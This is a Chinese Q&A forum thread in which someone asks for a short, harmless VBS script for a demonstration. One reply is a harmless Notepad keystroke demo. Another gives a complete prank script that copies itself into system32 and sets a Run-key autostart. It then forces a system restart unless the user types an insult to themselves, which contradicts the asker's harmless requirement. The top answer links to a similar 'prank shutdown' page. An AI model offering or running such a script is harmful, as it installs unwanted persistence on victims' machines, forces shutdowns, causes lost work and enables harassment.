求一段小小程序代码!
解决时间 2021-05-07 08:28
- 提问者网友:心牵心
- 2021-05-07 00:35
1. 用TXT写的 然后用转格式到VBS 就可以使用的那种程序
2. 代码要很小 一分钟左右输入完成的
3. 对电脑没破坏性
小程序是用来展示的 效果越花哨越好 另外 展示时用的电脑有保护盘 不怕受损
如果好的话 我这里有一千积分都可以相送
最佳答案
- 五星知识达人网友:上分大魔王
- 2021-05-07 01:38
我这里有一个代码很短的 弹出网页 并出现整人用的关机
用来泡妞效果比较好
http://qun.qq.com/air/#35084682/bbs/view/cd/3/td/31
全部回答
- 1楼网友:神鬼未生
- 2021-05-07 02:36
Dim WshShell
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 200
WshShell.AppActivate " 无标题 - 记事本 "
WshShell.SendKeys "hello, welcome to princeb4d"
WScript.Sleep 1000
WshShell.SendKeys "%{F4}"
WshShell.SendKeys "~"
WScript.Sleep 1000
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "e"
WScript.Sleep 200
WshShell.SendKeys "s"
WScript.Sleep 200
WshShell.SendKeys "t"
WScript.Sleep 200
WshShell.SendKeys "%s"
- 2楼网友:想偏头吻你
- 2021-05-07 02:25
on error resume next
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "ceshi.vbs"
Key_data = "C:\windows\system32\ceshi.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪,不说我是猪就半分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪哦,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
我要举报
大家都在看
推荐资讯